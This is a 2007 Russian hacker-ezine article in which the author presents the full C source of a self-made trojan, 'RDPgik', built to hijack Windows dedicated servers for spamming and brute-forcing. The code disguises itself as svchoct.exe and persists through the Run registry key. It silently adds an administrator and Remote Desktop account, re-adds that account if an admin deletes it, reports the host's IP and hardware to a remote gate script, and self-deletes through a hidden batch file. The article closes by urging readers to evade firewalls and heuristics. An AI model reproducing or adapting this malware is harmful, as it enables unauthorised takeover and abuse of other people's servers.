Введение
Дед или дедик( от англ Dedicated Server ) - это выделенный сервер предоставляемый провейдером интернета,ip телефонии, хостером или просто какой либо организацией прямо или косвенно свезанной с компьютерами :) Обычно цены на дедики колеблются от $30-$600 в месяц, расценки как обычно зависят от конфигурации дедика. Вот например у среднестатистического хостера предоставляющего дедики с операционной системой Windows и концигурацией Intel Pentium 4 3.0Ghz RAM-512Mb HDD-120Gb и каналом в 10Mb/s обойдётся в месяц $50-$60, а такие термоядерные монстры как 4XIntel Xenon 2.8Ghz RAM-8Gb 4XRAID 320Gb и каналом в 1Gb/s вам обойдётся в копеечку и будет это удавольствие стоить около $500-$600 в месяц.
Управляют администраторы этими машинами через через подключение к удалённому рабочему столу (от англ Remote Desktop Protocol или RDP) и на дедиках всегда открыт 3389 порт. Только представь что ты можешь брутить аси на 10 а чаще 100 мегабитном ХАЛЯВНОМ для тебя канале, ты можешь спамить, фреймить индекс страницы через чекеры с автозаливом и это всего лишь малая часть того что можно делать с помощью дедика. Как тебе, а? Захотелось такой получить для своих грязных дел и не заплатить за это ни копейки? Тогда читай дальше, потому что статья как раз и посвящена даноой тематике, а точнее свеженаписанному мною трою или боте (я буду называть трой, мне так проще :)) RDPgik.
О функционале RDPgik
Итак чтоже умеет этот трой. А умеет он следующее:
[+] Отсылка на гейт ip дедика и по желанию последующий каждый час(эта часть закомментирована в коде)
[+] Проверка запускался ли трой на данной машине или нет
[+] Само сабой куда же без добавления в автозагрузку :)
[+] Проверка на удаление из реестра параметра отвечающего за автозагрузку( если удалён больше 3-х раз то удалиться вообще )
[+] Проверка удалил админ твой аккаунт или нет, если удалил то отстучать на гейт и добавить, если добавил то отстучать на гейт, что добавил.
[+] Информация о железе( кол-во оперативки,кол-во проц,частота проц, тип проц )
[+] Определение версии Windows
О технологии
Я думаю всем интересно узнать как же это работает? Итак обо всём по порядку.
Сама технология заключается вот в чем. Ну для начала нам нужно проверить является ли данный компьютер дедиком. Как это узнать? Нужно проверить открыт ли 3389 порт. Это можно проверить с помощью функции GetExtendedTcpTable, можно через перенаправление вывода и последующем анализом перенаправленных данных команды netstat -an, но а можно сделать намного проще, просто взять и забиндиться на порт 3389, если не забиндиться значит порт используется, отсюда вывод, что данный компьютер дедик, а если забиндилось успешно то данный компьютер не дедик и делать нам тут нечего.
/*-----------------------------------//
* Функция проверки на открытый порт.
* Возвращает:
* 0 если не удалось забиндить (значит дедик)
* 1 если удалось (значит не дедик)
* -1 если произошла ошибка
//-----------------------------------*/
#define OPENED 1
#define CLOSED 0
#define ERRORR -1
#define RDP_PORT 3389
DWORD WINAPI CheckPort() //Функции инициализации библиотеки соктов и очисти находятся в main.cpp и { //поэтому здесь их нет
SOCKET ListenSocket; //Сокет
ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); //Создаём сокет
if (ListenSocket == INVALID_SOCKET) { //Если ошибка то возвратим -1
return ERRORR;
}
sockaddr_in service; //Инициализация структуры sockaddr_in
service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr("127.0.0.1");
service.sin_port = htons(RDP_PORT);
if (bind(ListenSocket,(SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) //Тут мы пытаемся { //забиндиться на 3389 порт
closesocket(ListenSocket);
return CLOSED; //Если не удалось забиндиться то это дедик
}
return OPENED; //Если забиндились то значит не дедик
}
Ну а далее если этот компьютер является дедиком то мы начинам шуровать. Сначала нам нужно проверить, а не запущен ли случаем данный трой на этой машине. Это проще всего можно проверить с помощью задания определённого мутекса. Например так:
HANDLE hMutex; // Дескриптор мутекса
hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, MUTEX_NAME); //Открываем мутекс
if(hMutex) //Если уже используется такой, то вывести сообщение об ошибке
{
MessageBox(HWND(0),"Уже запущен","Ошибка",MB_OK);
}
hMutex = CreateMutex(NULL, FALSE, MUTEX_NAME); //Если нет то создать его
Если всё проходит гладко и запущенного троя не намечается в системе то можно спокойно переходить к собиранию информации о железе. Какие же нам нужны параметры, ну конечно первым делом это всегда количество оперативной памяти и тактовая цастота процессора. Тактовою частоту не так то просто узнать, пришлось немного покодить на асме,но так как я в асме не силён то помучав компилятор я просто взял готовую функцию и переписал её на inline assembler включенного в поставку MSVS, правда столкнулся я с одной проблемкой. В коде использовались такие директивы как dw предназначенные для обозначения переменных типа WORD,но в inline assembler нельзя их использовать. Нашёл у себя в закромах макросы для замены ассемблерной директивы dw.
/*----------------------------------//
Macros для замены ассемблерного dw
//----------------------------------*/
#define xDW(X) \
{ \
__asm _emit (X) & 0xff \
__asm _emit (X>>8) & 0xff \
}
/*-------------------------------//
* функция возвращает частоту
* процессора в Mhz
//-------------------------------*/
UINT WINAPI CPUSpeed()
{
DWORD dwTimerHi, dwTimerLo;
__asm
{
xDW (0x310F)
mov dwTimerLo, EAX
mov dwTimerHi, EDX
}
Sleep (500);
__asm
{
xDW (0x310F)
sub EAX, dwTimerLo
sub EDX, dwTimerHi
mov dwTimerLo, EAX
mov dwTimerHi, EDX
}
return dwTimerLo/(1000.0*500);
}
Количество физической памяти узнать вообще очень просто
/*-------------------------------//
* Функция возвращает количество
* физической памяти в Mb
//-------------------------------*/
DWORD WINAPI GetPhysicalMem()
{
MEMORYSTATUS stat;
GlobalMemoryStatus(&stat); //Получаем информацию на данный момент используемой физической и виртуальной памяти
return (stat.dwTotalPhys/1024)/1024; //Нам нужна физическая память, её и возвращаем.
}
Как реализовано получение версии Windows, типа процессора, имени компьютера и количества процессоров можно посмотреть в исходнике, хочу лишь заострить внимание на том что опердиление версии Windows происходит путём проверки Major и MinorVersion структуры SYSTEM_INFO.
Первое число MajorVersion, второе MinorVersion
50 - Windows 2000
51 - Windows XP
52 - Windows 2003
Привожу кусок кода для наглядности.
if(siVerInfo.dwMajorVersion == 5 && siVerInfo.dwMinorVersion == 0) winver = "Windows 2000";
else if(siVerInfo.dwMajorVersion == 5 && siVerInfo.dwMinorVersion == 1) winver = "Windows XP";
else if(siVerInfo.dwMajorVersion == 5 && siVerInfo.dwMinorVersion == 2) winver = "Windows 2003";
С железками вроде бы всё, но так как трой создаёт ключи нужно проверить вдруг чтото было не так и ключи не удалились, подчистить всё что было создано ранее, а если не было создано то и ладно :)
Далее по хорошему нужно бы сделать несколько записей в реестре и следующим шагом я сделал проверку на запуск первый раз в данной системе через реестр(зачем я это добавил сам не знаю :)) и добавление в автозагрузку.
/*--------------------------------------------------------------------//
* Проверка первый раз запущена программа на данной системе или нет
* 1-если да
* 0-если нет
//--------------------------------------------------------------------*/
#define RUNKEY "RDPgik"
#define PROGNAME "svchoct.exe"
DWORD WINAPI CheckFirstTime(void)
{
HKEY hKey;
char *value[1] = {"1"};
char buf[256];
DWORD szBuf = 255;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ, &hKey) == ERROR_SUCCESS) //Открываем ключ для чтения
{
if (RegQueryValueEx(hKey,"SM_ConfigureProgramsInstalled", NULL, NULL, (LPBYTE)buf, &szBuf) != ERROR_SUCCESS) //И смотрим если ключ не создан то закрываем ключ
{
RegCloseKey(hKey);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion",0,KEY_WRITE,&hKey)==ERROR_SUCCESS) //Открываем ещё раз но уже для записи
{
RegSetValueEx(hKey, "SM_ConfigureProgramsInstalled", 0, REG_SZ, (const BYTE *)value[0], lstrlen(value[0])); //И создаём строковый параметр
RegCloseKey(hKey);
if(AddToAutorun()==1) return 1; //Да ещё и добавим в автозагрузку
}
}
}
return 0;
}
/*--------------------------------------------------------------------//
* Дабавление ключа в реест для автозапуска программы при старте системы
* 1-если добавлено
* 0-если нет
//--------------------------------------------------------------------*/
DWORD WINAPI AddToAutorun(void)
{
HKEY hKey;
char *value[1] = {"1"};
char szDirName[256], szSysDir[256], szFileName[256];
GetModuleFileName(GetModuleHandle(NULL), szDirName, sizeof(szDirName));//Получаем имя exe
GetSystemDirectory(szSysDir, 256); //Получаем системную директорию
lstrcpy(szFileName, szSysDir);
lstrcat(szFileName, "\\");
lstrcat(szFileName, PROGNAME);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey)==ERROR_SUCCESS) //Открываем ключ для записи
{
CopyFile(szDirName, szFileName, FALSE); //Если всё гладко прошло то копируем файл в //системную папку
RegSetValueEx(hKey, RUNKEY, 0, REG_SZ, (const BYTE *)szFileName, lstrlen(szFileName)); //Добавляем строковый параметр с полным путём где уже лежит exe
RegCloseKey(hKey);
} else return 0;
return 1;
}
Наверное сейчас возник вопрос а зачем нужен параметр SM_ConfigureProgramsInstalled? А создал я его для того чтобы фиксировать сколько раз админ удалил из ключа автозапуска наш параметр. Как выдно из кода то просто идёт проверка есть данный параметр в реестре или его нет, если нет то создаём и присваиваем значение 1, далее добавляем в автозагрузку. При удалении из ключа отвечающего за автозагрузку нашего параметра мы присваиваем SM_ConfigureProgramsInstalled значение на единицу больше и когда оно достигнет значение 4, то есть админ удалял нас 3 раза из ключа автозапуска. Трой просто удалит все ключи за собой и удалится сам предварительно отстучав на стату. Функция проверки большая и её можно посмотреть в исходниках.
На этом манипуляции с реестром завершены. Далее как уже видно функция CheckFirstTime может возвратить одно из двух значений. Если функция вернула 1 то есть да, что я вроде как бы тут первый раз запущен, то смело добавляем нашего пользоваеля и добавляем его во все группы. Для этого я использовал стандартные команды net user и net localgroup. Но как быть если нужно проверять удалил админ твой акк или нет. Вот тут то и наступает на самом деле сложный момент, для этого нам нужно перенаправлять стандартный вывод данных через пайпы и уже потом анализировать ответ. Я постарался подправить уже готовую функцию предназначенную для этого и вот что же у меня получилось.
Принимает функция 3 параметра, а точнее имя пользователя, пароль и команду(всего две checkacc либо addacc). Если Мы запустим функцию с командой checkacc то она проверит удалён наш пользователь или нет, а если с addacc то попытается добавить во все группы и RDP само сабой.
/*-------------------------------------------------------------//
Функция управления аккаунтом.
1) Добавляет в группы и RDP(3-ий параметр "addacc").
Если успешно добавлено то возвращает 0
2) Проверяет на удаление аккаунта(3-ий параметр "checkacc").
Если аккаунт удалён то возвращает 1
//--------------------------------------------------------------*/
#define USERNAME "perdimonokl"
#define PASSWORD "!@#$%^" // 123456 + Shift :)
DWORD WINAPI ManageAccount(char *user, char *pass,char *command)
{
char addacc[100] = " /K net user ";
char admadd1[100] = " /K net localgroup administrator "; //Вот и список групп
char admadd2[100] = " /K net localgroup administrators ";
char admadd3[100] = " /K net localgroup Administrator ";
char admadd4[100] = " /K net localgroup Administrators ";
char admadd5[100] = " /K net localgroup admin ";
char admadd6[100] = " /K net localgroup admins ";
char admadd7[100] = " /K net localgroup Admin ";
char admadd8[100] = " /K net localgroup Admins ";
char rdpadd[100] = " /K net localgroup \"Remote Desktop Users\" ";
char *process[COUNT] = {addacc,admadd1,admadd2,admadd3,admadd4,admadd5,admadd6,admadd7,admadd8,rdpadd}; // массив со списком
int i = 0;
lstrcat(process[0],USERNAME);
lstrcat(process[0]," ");
lstrcat(process[0],PASSWORD);
lstrcat(process[0]," /ADD");
for(i=1;i Дополнительно -> Переменные среды -> Системные переменные
либо зайти в командный интерпертатор и набрать команду set, без параметров она выведет список всех переменных и их значений */
if(lstrcmp(command,"addacc")==0)
{
int j=0;
for(j=0;j 1023)
{
while (bread >= 1023)
{
ReadFile(read_stdout,buf,1023,&bread,NULL); //читаем из вывода
memset(buf,0,sizeof(buf));
}
}
else
{
ReadFile(read_stdout,buf,1023,&bread,NULL);
break;
}
}
memset(buf,0,sizeof(buf));
}
}
TerminateProcess(pi.hProcess,0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(newstdin); //небольшая уборка за собой
CloseHandle(newstdout);
CloseHandle(read_stdout);
}
}
else if(lstrcmp(command,"checkacc")==0) //А это уже проверка акка
{
if (!CreateProcess(szDirName,process[0],NULL,NULL,TRUE,CREATE_NEW_CONSOLE,
NULL,NULL,&si,&pi))
{
CloseHandle(newstdin);
CloseHandle(newstdout);
CloseHandle(read_stdout);
CloseHandle(write_stdin);
return 0;
}
}
memset(buf,0,sizeof(buf));
for(;;)
{
GetExitCodeProcess(pi.hProcess,&exit);
if (exit != STILL_ACTIVE) break;
PeekNamedPipe(read_stdout,buf,1023,&bread,&avail,NULL);
if (bread != 0)
{
memset(buf,0,sizeof(buf));
if (avail > 1023)
{
while (bread >= 1023)
{
ReadFile(read_stdout,buf,1023,&bread,NULL);
memset(buf,0,sizeof(buf));
}
}
else
{
ReadFile(read_stdout,buf,1023,&bread,NULL);
memcpy(temp,buf,sizeof(buf)); /*Копируем вывод результата выполнения команды*/
if(lstrcmp(command,"checkacc")==0) //Можно убрать
{
if(strsub(temp,"successfully",lstrlen(temp),lstrlen("successfully"))!=NULL) /* Если есть слово successfully то есть успешно добавлен то акк удалён так как он не может быть добавлен снова.*/
{
deleted = 1;
break;
}
}
break;
memset(temp,0,sizeof(temp));
}
memset(temp,0,sizeof(temp));
}
memset(temp,0,sizeof(temp));
memset(buf,0,sizeof(buf));
}
TerminateProcess(pi.hProcess,0);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(newstdin);
CloseHandle(newstdout);
CloseHandle(read_stdout);
CloseHandle(write_stdin);
return deleted;
}
Эта функция самая большая из всех и несёт основное назначение. С первого раза можно и не понять что тут написано но если детально почитать msdn про работу с пайпами и перечитать раз 10 этот код то всё станет ясно :)
В данной функции используется функция нахождения подстроки в строке strsub и код её посмотреть можно в исходниках.
Теперь когда всё сделано, а именно записи в реестре и добавлен акк то можно отправить даные на гейт. А отправлять будем ip с собранными данными о железе.
/*----------------------------------//
* Возвращает IP адрес по имени хоста
//----------------------------------*/
#define HOST "www.site.com"
#define PATH "/RDPgik/gate.php"
LPSTR WINAPI GetIpByHostname(char * hostName)
{
char * hostIP;
struct hostent *hostInfo;
hostInfo = gethostbyname(hostName);
hostIP = inet_ntoa(*((struct in_addr *)hostInfo->h_addr));
return hostIP;
}
/*-----------------------//
Отправка данных на гейт
//-----------------------*/
DWORD WINAPI ToGate(char *query, char *ip)
{
char header[1024];
char *host;
SOCKET sock; // Сам сокет
SOCKADDR_IN sockaddr_in; //структура сокета
memset(recvbuff,0,1024);
lstrcpy(header, "GET "); //Собираем HTTP заголовок
lstrcat(header, PATH);
lstrcat(header, "?query="); //В query будут идти данные о компьютере
lstrcat(header, query);
lstrcat(header, "&ip="); //В ip будут идти все ip адаптеров в данной системе
lstrcat(header, ip);
lstrcat(header, " HTTP/1.0\r\n");
lstrcat(header, "User-Agent: RDPgik\r\nHost: "); /*Вот и главная фишка. Если user agent будет другим то на гейт не дать ни одного запроса*/
lstrcat(header, HOST);
lstrcat(header, "\r\n\r\n");
host = GetIpByHostname(HOST); //Получаем ip хоста
//Заполнение структуры сокета
sockaddr_in.sin_addr.s_addr = inet_addr(host);
sockaddr_in.sin_family = AF_INET;
sockaddr_in.sin_port = htons(PORT);
sock = socket(AF_INET,SOCK_STREAM,0); // Создаём сокет
connect(sock, (struct sockaddr *)&sockaddr_in, sizeof(sockaddr_in)); // соединяемся
send(sock, header, lstrlen(header),0); // посылаем данные
closesocket(sock);
return 0;
}
Если возникают какие то непредвиденные обстоятельства да или просто админ всё палит то нужно бы удалиться. Старый и действенный способ удаления самого себя это через bat файл. Для этого нам нужно создать bat файл с таким содержимым
@ECHO off
:try
DEL C:\path\to\file\rdp.exe
GOTO try
DEL C:\path\to\bat\del.bat
и запустить его.
За это отвечает функция SelfDel()
/*------------------------------//
Самоудаление через bat файл
//------------------------------*/
DWORD WINAPI SelfDel()
{
char delData[512], BatDel[256], BatName[256];
DWORD dataSize;
HANDLE hFile; //Дескриптор файла
GetModuleFileName(GetModuleHandle(NULL), BatName, sizeof(BatName)); //Получаем имя exe
GetCurrentDirectory(256,BatDel); // Получаем текущую директорию
lstrcat(BatDel,"\\autoexe.bat");
hFile = CreateFile(BatDel, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); //Создаём файл
if (hFile != INVALID_HANDLE_VALUE)
{
ZeroMemory (&delData, sizeof(delData));
lstrcpy(delData, "@ECHO off\r\n:try\r\nDEL ");
lstrcat(delData, BatName);
lstrcat(delData, "\r\nIF EXIST ");
lstrcat(delData, BatName);
lstrcat(delData, " GOTO try\r\n");
lstrcat(delData, "DEL ");
lstrcat(delData, BatDel);
dataSize = sizeof(delData);
WriteFile(hFile, delData, dataSize, &dataSize, NULL); //Записываем все данный в файл
CloseHandle(hFile);
WinExec(BatDel,SW_HIDE); //Запускаем всё это дела в скрытом режиме
Sleep(100);
}
return 0;
}
Вот и весь функционал который нужен для работы троя. Всё остальное это уже дополнения и примочки которые делают его лучьше. Я разобрал здесь самые скользкие мометы и попытался обьяснить как это всё работает и что для этого нужно. Смотрите сорс и тестируйте.
Структура
Итак чтоже получилось. А получилось вот что:
+-------------+
| |
| main func |
| |
+-------------+
|
|
+-------------+ +-------------+
| | ДА | Проверяем |
| SelfDel(); |---------------|повторный за-|
| | | пуск через |
| | | mutex |
+-------------+ +-------------+
|
|НЕТ
|
+-------------+
|Удаление соз-|
|данных ранее |
| ключей |
+-------------+
|
|
+-------------+ +-------------+
| | НЕТ |Проверка отк-|
| SelfDel(); |---------------|рыт RDP порт |
| | | или нет |
+-------------+ +-------------+
|
|ДА
|
+-------------+
| Собираем и |
| делаем всё |
| что нужно |
+-------------+
|
|
+-------------+
| Отстукиваем |
| на гейт |
| |
+-------------+
Это обобщённая структура работы троя, весь функционал можно посмотреть в main функции да и вообще в сорцах.
Заключение
После долгих усилий получился трой который может для вас скомуниздить дедик да ещё и информацию о железках вам скажет. Удобная и нужная штучка я думаю. Тестировал я его на WinXP SP1 и WinXP SP2, работал хорошо и вроде бы как значительных сбоев не наблюдалось. Так что тестируйте, правьте сорцы, обходите фаеры, убивайте эвристику, вообщем ловите деда за хвост :)
Article by: perdimonokl aka 4nob1oz, 2007, TGBR.ORG specially for HackConnect.Ezine #2
|